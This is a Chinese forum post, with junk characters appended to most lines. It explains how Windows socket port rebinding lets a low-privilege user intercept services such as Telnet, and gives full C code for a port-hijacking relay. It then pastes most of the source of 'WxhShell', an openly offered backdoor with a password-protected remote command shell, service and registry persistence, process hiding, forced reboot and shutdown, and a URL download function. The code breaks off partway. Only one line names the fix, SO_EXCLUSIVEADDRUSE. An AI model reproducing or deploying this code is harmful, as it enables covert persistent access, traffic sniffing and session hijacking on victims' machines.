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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {XHk6w *-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); nuxd S ,  
i6PE6> 1/  
  saddr.sin_family = AF_INET; _>i|s|aW  
PY -+Bf  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); A8!Ed$@  
k9&@(G[K3  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr));  0Ve%.k  
MHl^/e@  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 eE9|F/-L  
CO'ar,  
  这意味着什么?意味着可以进行如下的攻击: -5xCQJ[  
1 7i$8  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /x/4NeD  
N]u2ql&  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 6Hn)pD#U  
m#MlH=-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 agW9Go_F[  
B52H(sm  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  >HIt}Zh  
r`[B@  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0\wiam-  
L;Vq j]_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ^]7,1dH}M  
[ro t  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1I \tu  
yLB~P7K  
  #include `oVB!eapl  
  #include 48k 7/w\  
  #include ]9@X? q  
  #include    EZ{/]gCK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z8fJ{uOIL  
  int main() esteFLm`6  
  { z^3Q.4Qc6^  
  WORD wVersionRequested; '%ebcL  
  DWORD ret; Efvq?cG&  
  WSADATA wsaData; ~?-qZ<9/  
  BOOL val; ctK65h{Eo  
  SOCKADDR_IN saddr; ]4GZ'&m}  
  SOCKADDR_IN scaddr; obYn&\6  
  int err; %wtXo BJ  
  SOCKET s; zHqhl}  
  SOCKET sc; ,{+6$h3  
  int caddsize; ? rQc<;b  
  HANDLE mt; Q)T+r~#2B  
  DWORD tid;   /yp/9r@T0  
  wVersionRequested = MAKEWORD( 2, 2 ); {wv&t R;  
  err = WSAStartup( wVersionRequested, &wsaData ); }1F6?do3&  
  if ( err != 0 ) { &M= 3{[  
  printf("error!WSAStartup failed!\n"); 9M]^l,  
  return -1; |=u96G~N  
  } P{Lg{I_w.B  
  saddr.sin_family = AF_INET; SXh?U,5u  
   %Gu][_.L  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 wn1, EhHt  
Ysl9f1>%  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); NhCAv +  
  saddr.sin_port = htons(23); i7(~>6@|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,S0UY):(A  
  { Vq U|kv  
  printf("error!socket failed!\n"); yYk|YX(7U  
  return -1; ;.AV;C"  
  } /:KQAM0  
  val = TRUE; ?CFoe$M  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tJz^DXqAc  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {!y<<u1  
  { b@!:=_Mr  
  printf("error!setsockopt failed!\n"); *7_@7=W,  
  return -1; ez+yP,.#  
  } ZqFUPHc  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; KDBY9`08  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 F0&O/-w&u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 N2% :h;tf  
?y46o2b*)  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZBC@xM&-  
  { /L$NE$D} "  
  ret=GetLastError(); ~M; gM]r;  
  printf("error!bind failed!\n"); s{B_N/^  
  return -1; Wxc^_iqA1  
  } &\c5!xQ9*  
  listen(s,2); EzUPah  
  while(1) j=\Mx6os  
  { 3@'lIV ?,q  
  caddsize = sizeof(scaddr); 99EX8  
  //接受连接请求 l<Lz{)OR  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); YMK>+y[+4  
  if(sc!=INVALID_SOCKET) {n6\g]p3  
  { 9[Y*k^.!  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); C?S~L5a#oC  
  if(mt==NULL) 5/k)\`  
  { T*8_FR<  
  printf("Thread Creat Failed!\n"); $CM4&{B"i  
  break; r.9 $y/5  
  } }Py<qXH  
  } Ae.]F)w_\  
  CloseHandle(mt); jXtLo,km  
  } %Dl_}  
  closesocket(s); GgT=t)}wu  
  WSACleanup(); b~F!.^7Q  
  return 0; 9wzg{4/-$  
  }   yTP[,bM  
  DWORD WINAPI ClientThread(LPVOID lpParam) %@o&*pF^,  
  { V!\n3i?i  
  SOCKET ss = (SOCKET)lpParam; JTjzT2`A.  
  SOCKET sc; rpx 0|{m  
  unsigned char buf[4096]; *TJ<  
  SOCKADDR_IN saddr; q;IhLBl'  
  long num; |HNQ|r_5S  
  DWORD val; p FXd4*  
  DWORD ret; ~T;K-9R  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X4XFu  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   e W9)@nVJ  
  saddr.sin_family = AF_INET; ~ >4@;  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); t&8<k+m  
  saddr.sin_port = htons(23); G[vUOEU ~O  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) a pKa4nI  
  { g<0w/n!jmC  
  printf("error!socket failed!\n"); Ja^7$WY  
  return -1; !'Gb$l!  
  } ZWov_  
  val = 100; ^Kb9@lz/  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {V{0^T-  
  { 5c*p2:]  
  ret = GetLastError(); r*c82}tc  
  return -1; )`e^F9L  
  } -,[~~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3zk:59  
  { wVlSjk  
  ret = GetLastError(); 5?D1][  
  return -1; zsHG= Ee*  
  } M}R@ K;%  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 8+=p8e~An  
  { yY-FL`-  
  printf("error!socket connect failed!\n"); []^PJ  
  closesocket(sc); fma tc#G  
  closesocket(ss); WT;.>F  
  return -1; XCKY xv&  
  } cw*(L5b u  
  while(1) *pDXcURw  
  { FZM ]o  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 "cIGNTLFA  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;bUJ+6f:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *2w_oKE'+5  
  num = recv(ss,buf,4096,0); de*,MkZN  
  if(num>0) (YaOh^T:|  
  send(sc,buf,num,0); L3-<Kop  
  else if(num==0) 1v>  
  break; p_D on3  
  num = recv(sc,buf,4096,0); Y8x(#qp,  
  if(num>0) hWl""66+5  
  send(ss,buf,num,0); $71i+h]_  
  else if(num==0) zpBBnlq  
  break; 0+$hkd n  
  } 2&zn^\%"  
  closesocket(ss); & y#y>([~  
  closesocket(sc); =1V>Vd?8.  
  return 0 ; -wPuml!hZ|  
  } S7@ZtFf  
_|Y.!ZRYP  
!7kAJG g  
========================================================== :Vu7,o  
IMl9\U  
下边附上一个代码,,WXhSHELL b(+w.R(+Ti  
,%"\\#3S  
========================================================== g~bf!  
BH.:_Qrbh[  
#include "stdafx.h" I,?Fqg'sq  
k~'?"'  
#include <stdio.h> l}U~I 3}).  
#include <string.h> [)C)p*!Y)  
#include <windows.h> FZe N,  
#include <winsock2.h> LAu+{'O\  
#include <winsvc.h> 0KWy?6 X  
#include <urlmon.h> 3n}s CEt=  
WHhR )$zC  
#pragma comment (lib, "Ws2_32.lib") mcAH1k e  
#pragma comment (lib, "urlmon.lib") I@y2HxM  
~;!i)[-  
#define MAX_USER   100 // 最大客户端连接数 ="'rH.n #  
#define BUF_SOCK   200 // sock buffer $9j>VGf=  
#define KEY_BUFF   255 // 输入 buffer QZ:]8MHl]  
< -@,  
#define REBOOT     0   // 重启 nr<}Hc^f-  
#define SHUTDOWN   1   // 关机 M]%!n3Fb  
PVQ#>_~5  
#define DEF_PORT   5000 // 监听端口 |j.KFu845  
Z L6~Eut  
#define REG_LEN     16   // 注册表键长度 @w.b |  
#define SVC_LEN     80   // NT服务名长度 <:kTTye|  
3cV+A]i  
// 从dll定义API 5 b#" G"  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); mcP{-oJ0W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); : . FfE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #J<`p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); |}]JWsuB  
g0; &/;"  
// wxhshell配置信息 `E4!u=%  
struct WSCFG { g:uaI  
  int ws_port;         // 监听端口 ctwhfS|Y0  
  char ws_passstr[REG_LEN]; // 口令 + !E{L  
  int ws_autoins;       // 安装标记, 1=yes 0=no ((hJmaq  
  char ws_regname[REG_LEN]; // 注册表键名 .SRuyioF&  
  char ws_svcname[REG_LEN]; // 服务名 Le#E! sU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 vV&AG1_Mv  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h[[/p {z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h~=\/vF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n+RUPZ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" sJjl)Qs)T  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ECE{xoc  
mPw56>  
}; !4b; >y=m  
7-G'8t  
// default Wxhshell configuration 709Uv5  
struct WSCFG wscfg={DEF_PORT, ?Uy*6YS  
    "xuhuanlingzhe", ]C!Y~  
    1, 8g2-8pa{  
    "Wxhshell", *Wuctu^9  
    "Wxhshell", m_PrasZ>  
            "WxhShell Service", 9L)&n.t1  
    "Wrsky Windows CmdShell Service", QB.*R?A  
    "Please Input Your Password: ", M~g~LhsF  
  1, 'nj&}A'  
  "http://www.wrsky.com/wxhshell.exe", \ 3js}  
  "Wxhshell.exe" \4`saM /x  
    }; 7}iewtdy,  
J!TK*\a2  
// 消息定义模块 B3g82dm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6{Cu~G{]N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; J:TI>*tn  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Zc' >}X[G  
char *msg_ws_ext="\n\rExit."; O>"r. sR  
char *msg_ws_end="\n\rQuit."; ,N@Icl  
char *msg_ws_boot="\n\rReboot..."; v[3hnLN%  
char *msg_ws_poff="\n\rShutdown..."; e$xv[9  
char *msg_ws_down="\n\rSave to "; 0 z'={6,  
wEHrer  
char *msg_ws_err="\n\rErr!"; 6GrMcI@hS  
char *msg_ws_ok="\n\rOK!"; }:c,S O!  
7&;jje[ <g  
char ExeFile[MAX_PATH]; ;]#4p8lh+  
int nUser = 0; ;o)`9<es!2  
HANDLE handles[MAX_USER]; A86lyBDQ*  
int OsIsNt; ZjI/zqBm  
f)s_e  
SERVICE_STATUS       serviceStatus; l_q>(FoqA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q\/":ISq1  
V[M$o  
// 函数声明 coP$7Q .  
int Install(void); j5VRv$P  
int Uninstall(void); lWyP[>*  
int DownloadFile(char *sURL, SOCKET wsh); ^6NABXL  
int Boot(int flag); SUnmp  
void HideProc(void); r1az=$  
int GetOsVer(void); Cak/#1  
int Wxhshell(SOCKET wsl); C&s }m0R  
void TalkWithClient(void *cs); /x8C70W^  
int CmdShell(SOCKET sock); O^="T^J  
int StartFromService(void);  KHs{/  
int StartWxhshell(LPSTR lpCmdLine); Mbi+Vv-  
 ~bWWu`h  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Z$m2rZ#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); JjTzq2'%  
DRg ~HT  
// 数据结构和表定义 Tdmo'"m8z_  
SERVICE_TABLE_ENTRY DispatchTable[] = ,%b1 ]zZQ  
{ (.nJT"&  
{wscfg.ws_svcname, NTServiceMain}, jv#" vQ9A]  
{NULL, NULL} aXid;v,  
}; &+w!'LSaD  
1r:fxZO\Vd  
// 自我安装 4uAb LSh9  
int Install(void) m$y$wo<K[7  
{ !L.z4n,n+  
  char svExeFile[MAX_PATH]; H1b%:KRVK  
  HKEY key; 'JKvy(n>  
  strcpy(svExeFile,ExeFile); u1|Y;*  
2T2#HP  
// 如果是win9x系统,修改注册表设为自启动 WZ V*J&  
if(!OsIsNt) { .=w`T #L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]H9HO2wGQ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4.kkxQR7r  
  RegCloseKey(key); Y;5^w=V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t T/*ZzMq#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^~1@HcJo  
  RegCloseKey(key); }d*sWSPu(  
  return 0; *[5#g3  
    } zB7dCw  
  } ={D B  
} Ko1?jPE  
else { T+{'W  
#?d>S;)+  
// 如果是NT以上系统,安装为系统服务 Ywb)h^{!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {ZYCnS&?CL  
if (schSCManager!=0) 6Q?6-,?_  
{ *Lk&@(  
  SC_HANDLE schService = CreateService ~)CU m[:oM  
  ( Nn4Kt,KY  
  schSCManager, !I+u/f?TO7  
  wscfg.ws_svcname, 7a.#F]`  
  wscfg.ws_svcdisp, 1Y0oo jD  
  SERVICE_ALL_ACCESS, 8lb `   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UY& W]  
  SERVICE_AUTO_START, ?[fl$EG  
  SERVICE_ERROR_NORMAL, S5 oHe4#89  
  svExeFile, |;1:$E"  
  NULL, l:C0:m%  
  NULL, }8KL]11b  
  NULL, !-o||rt  
  NULL, a}]@o"  
  NULL &aht K}u  
  ); lukRFN>c"  
  if (schService!=0) G uI sM  
  { DG9;6"HBX  
  CloseServiceHandle(schService); 0<Y&2<v  
  CloseServiceHandle(schSCManager); ?#y<^oNM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [5#/& k{  
  strcat(svExeFile,wscfg.ws_svcname); lz5j~t5>Q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { x};g!FYfkB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); sOHAW*+  
  RegCloseKey(key); 6Kc7@oO~  
  return 0; /PuWJPy;  
    } L ]'CA^N  
  } 2%%U)|39mB  
  CloseServiceHandle(schSCManager); "_}D{ws1  
} WC&Ltw8  
} ,<WykeC  
#IJKMSGw?E  
return 1; cG"<*Xi<  
}  o|im  
o) ?1`7^BA  
// 自我卸载 @8d})X33  
int Uninstall(void) <iqyDPj  
{ 13@| {H CB  
  HKEY key; ! yUKNR  
Z- Ae'ym  
if(!OsIsNt) { P@![P Ij  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]h8V{%H  
  RegDeleteValue(key,wscfg.ws_regname); W/QOG&g  
  RegCloseKey(key); QI{Y@xQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! \Kh\  
  RegDeleteValue(key,wscfg.ws_regname); 71ybZ 0  
  RegCloseKey(key); Hx0,kOh)  
  return 0; [uV/ Ra*g  
  } No|{rYYKK  
} 3CRBu:)m  
} %NoZf^ ?  
else { cO+`8`kv  
74OM tLL$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |hyr(7  
if (schSCManager!=0) ^>28>!"1  
{ 6%y: hLT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); q &o=4  
  if (schService!=0) @_nhA/rlc  
  { "Jd1&FsCwX  
  if(DeleteService(schService)!=0) { 2DQC)Pe+z  
  CloseServiceHandle(schService); ![n`n(oN  
  CloseServiceHandle(schSCManager); FaM~ 56Pa  
  return 0; iB_j*mX]  
  } A| -\C$  
  CloseServiceHandle(schService); m 1;jS|  
  } kniMXeiu  
  CloseServiceHandle(schSCManager); {q4"x5|  
} &zy9}4w,  
} $ wB  
6&T1 ZY`  
return 1; #XPU$=  
} #| Po&yu4R  
e.H"!X!0#H  
// 从指定url下载文件 X y<KvFy  
int DownloadFile(char *sURL, SOCKET wsh) ;OyM~T gI  
{ I@+<[n2  
  HRESULT hr; s3^SjZb  
char seps[]= "/"; )Ggx  
char *token; gJ7pu N  
char *file; L+CSF ]  
char myURL[MAX_PATH]; )HE yTHLtJ  
char myFILE[MAX_PATH]; Pl6=._  
]x\wP7x  
strcpy(myURL,sURL); Ymvd= F   
  token=strtok(myURL,seps); 1OL~)X3  
  while(token!=NULL) VG^-aR_F  
  { wH<*  
    file=token; 1vb0G ;a;|  
  token=strtok(NULL,seps); >o7k%T|l$  
  } 95&HsgdxJ  
)9->]U@  
GetCurrentDirectory(MAX_PATH,myFILE); de=T7,G#  
strcat(myFILE, "\\"); \I]'6N=  
strcat(myFILE, file); /#5ZP\e  
  send(wsh,myFILE,strlen(myFILE),0); ^j7pF.j  
send(wsh,"...",3,0); {BU,kjv1g  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D bJ(N h  
  if(hr==S_OK) 35T7g65;  
return 0; 7h~M&\M  
else VPbNLi  
return 1; 2XpGgG`2`C  
* PPFk.#x  
} 3 Gkw.  
bcfOp A  
// 系统电源模块 ]CYe=m1<2Q  
int Boot(int flag) Af~AE2b3"  
{ 8%Lg)hvl  
  HANDLE hToken; 7Cjrh"al"  
  TOKEN_PRIVILEGES tkp; J)]W[Nk  
fM{Vy])J  
  if(OsIsNt) { ?K"]XXsI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tA.C"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); R,lr&;a8  
    tkp.PrivilegeCount = 1; t!GY>u>`  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k6\c^%x  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  O(!'V~3  
if(flag==REBOOT) { ovp>"VuC  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^ z;pP  
  return 0; .v{ty  
} u9Ro=#xt  
else { mx2 Jt1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B7;MY6h#  
  return 0; " B1' K8  
} [cq>QMW  
  } W2^R$"U  
  else { "cx" d:  
if(flag==REBOOT) { m" Gr pE3  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y/gCtSF  
  return 0; 2S3F]fG0  
} B!0[LlF+  
else { y\x<!_&D  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Cpl)byb  
  return 0; qI}Zg)q]  
} -_+0[Nb.  
} 6822xk  
tp"\  
return 1; sQw-#f7t  
}  Sk-Ti\  
E_P]f%  
// win9x进程隐藏模块 BKk*<WMD  
void HideProc(void) tq[C"| dH  
{ :>=,sLfJ  
Sl1N V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Lfor 0-j  
  if ( hKernel != NULL ) 4|qp&%9-  
  { p%BO:%v  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); k95vgn%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x UYSD  
    FreeLibrary(hKernel); TocqoYX{{  
  } |j;`;"+B  
6tM{cK%v1  
return; -kO=pYP*O  
} ocvBKsfhE`  
D c^d$gh  
// 获取操作系统版本 h!.(7qdd  
int GetOsVer(void) {|cA[#j#  
{ Tn|re Xc0e  
  OSVERSIONINFO winfo; v|e>zm <  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !**q20-aP  
  GetVersionEx(&winfo); tB[K4GNSQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z'E@sc 9  
  return 1; 9iUw7-)  
  else Uvp?HZ\Z  
  return 0; `&o|=  
} GC~::m~  
=vWnqF:  
// 客户端句柄模块 =~)n,5  
int Wxhshell(SOCKET wsl) 2 Ug jH  
{ F~ :5/-zs  
  SOCKET wsh; b$BUo8O}  
  struct sockaddr_in client; z9gZ/d   
  DWORD myID; S9.jc@#.`  
7W*OyH^  
  while(nUser<MAX_USER) (L\tp> E-  
{ D4G{= Y}G  
  int nSize=sizeof(client); C9fJLCufC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3jQ |C=   
  if(wsh==INVALID_SOCKET) return 1; I^o^@C  
8/=2N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =LC5o2bLy  
if(handles[nUser]==0) 4 P.ry|2  
  closesocket(wsh); ',.Xn`c  
else ."2V:;;  
  nUser++; .]" o-(gB  
  } ji1A>jepF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7M4iBk4I  
P++gR@  
  return 0; :F_U^pyG  
} te`4*t  
It4F;Ah  
// 关闭 socket {uw]s< 6  
void CloseIt(SOCKET wsh) tlW}lN}  
{ )TxhJB5|  
closesocket(wsh); KS%,N _F<  
nUser--; DP?gozm  
ExitThread(0); Zy<0'k%U  
} $h2h&6mH  
!({[^[!  
// 客户端请求句柄 WA<~M) rb  
void TalkWithClient(void *cs) 4)`{ L$  
{ Aam2Y,B  
I?1^\s#L  
  SOCKET wsh=(SOCKET)cs; % $J^dF_0  
  char pwd[SVC_LEN]; -v]7}[ .[  
  char cmd[KEY_BUFF]; Q>|<R[.7  
char chr[1]; V Bg\)r[  
int i,j; x[_+U4-/  
Ft07>E$/Q^  
  while (nUser < MAX_USER) { 0g1uM:;  
] `lTkh  
if(wscfg.ws_passstr) { O)hNHIF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f#!Ljjf$;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8r~4iVwg  
  //ZeroMemory(pwd,KEY_BUFF); rtPQ:CaA)?  
      i=0; wy7f7zIa  
  while(i<SVC_LEN) { ?&[`=ZVn  
rT x]%{  
  // 设置超时 P:Bg()  
  fd_set FdRead; /u?^s "C/  
  struct timeval TimeOut; 5-MI 7I@l  
  FD_ZERO(&FdRead); c+q4sNnE  
  FD_SET(wsh,&FdRead); Qml<JF  
  TimeOut.tv_sec=8; j_k!9"bt  
  TimeOut.tv_usec=0; VlK WWQj  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); O)&V}hU*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z/%>/  
Hi )n]OE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rK"x92P0  
  pwd=chr[0]; wz'D4B  
  if(chr[0]==0xd || chr[0]==0xa) { rUlXx5f  
  pwd=0; -?j'<g0  
  break; d5h:py5  
  } >1W)J3  
  i++; ,}J(&  
    } q>,i `*  
1B2>8 N  
  // 如果是非法用户,关闭 socket #HqXC\~n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9Y0w SOSW  
} DRal{?CH  
gVb;sk^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9OX&;O+5  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yAaMYF@  
U1I2+;"#A  
while(1) { mzDbw-#  
@<h@d_8^k  
  ZeroMemory(cmd,KEY_BUFF); %?K'eg kp  
<5=^s%H  
      // 自动支持客户端 telnet标准   *!vwW T  
  j=0; li(g?|AD  
  while(j<KEY_BUFF) { iOw'NxmY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); GP1b/n3F1  
  cmd[j]=chr[0]; }DoNp[`  
  if(chr[0]==0xa || chr[0]==0xd) { L\o-zNY  
  cmd[j]=0; iXI > >9  
  break; a:C ly9  
  } G8j$&1`:  
  j++; t}+P|$[  
    } ?3[as<GZ8  
H}`}qu #~V  
  // 下载文件 jruwdm^  
  if(strstr(cmd,"http://")) { ZPRkk?M}.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [$$i1%c%Z<  
  if(DownloadFile(cmd,wsh)) %A%^;3@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); T-0fVTeN  
  else ~~z} yCl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R e-4y5f  
  } 'V/+v#V+>  
  else { xO{yr[x"L  
RAPR-I;{  
    switch(cmd[0]) { s>ilxLSX]  
  n2cb,b/7  
  // 帮助 '_>8_  
  case '?': { 'Y `or14E  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); DY1UP (y  
    break; D&#wn.0|E  
  } 'b~,/lZd  
  // 安装 DJR_"8  
  case 'i': { |U)M.\h  
    if(Install()) 8(]*J8/wt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E0G"B' x  
    else _e:c 22T'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gAD,  
    break; &]tZ6  
    } opc`n}Fc  
  // 卸载 ?cF`T/z]"  
  case 'r': { yH/m@#  
    if(Uninstall()) XcL jUz?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `)?N7g[\u  
    else NCL!|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JS$ojL^  
    break;  >cw%ckE  
    } gaV>WF  
  // 显示 wxhshell 所在路径 wl7G6Y2  
  case 'p': { Lh\ 1L  
    char svExeFile[MAX_PATH]; m9M#)<@*  
    strcpy(svExeFile,"\n\r"); P:KS*lOp  
      strcat(svExeFile,ExeFile); 4MUN1/DId`  
        send(wsh,svExeFile,strlen(svExeFile),0); ~HBQQt  
    break; VUmf;~  
    } cao=O \Y7  
  // 重启 %?2y2O ,;  
  case 'b': { lu vrvm  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~xCv_u^=  
    if(Boot(REBOOT)) 2+s#5K&i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); owQSy9Az  
    else { zo83>bt  
    closesocket(wsh); P@| W \  
    ExitThread(0); $Y`oqw?g+^  
    } JCO+_d#x  
    break; 7bSj[kuN  
    } sBm)D=Kll  
  // 关机 LT[g +zGB  
  case 'd': { c]}F$[>oN'  
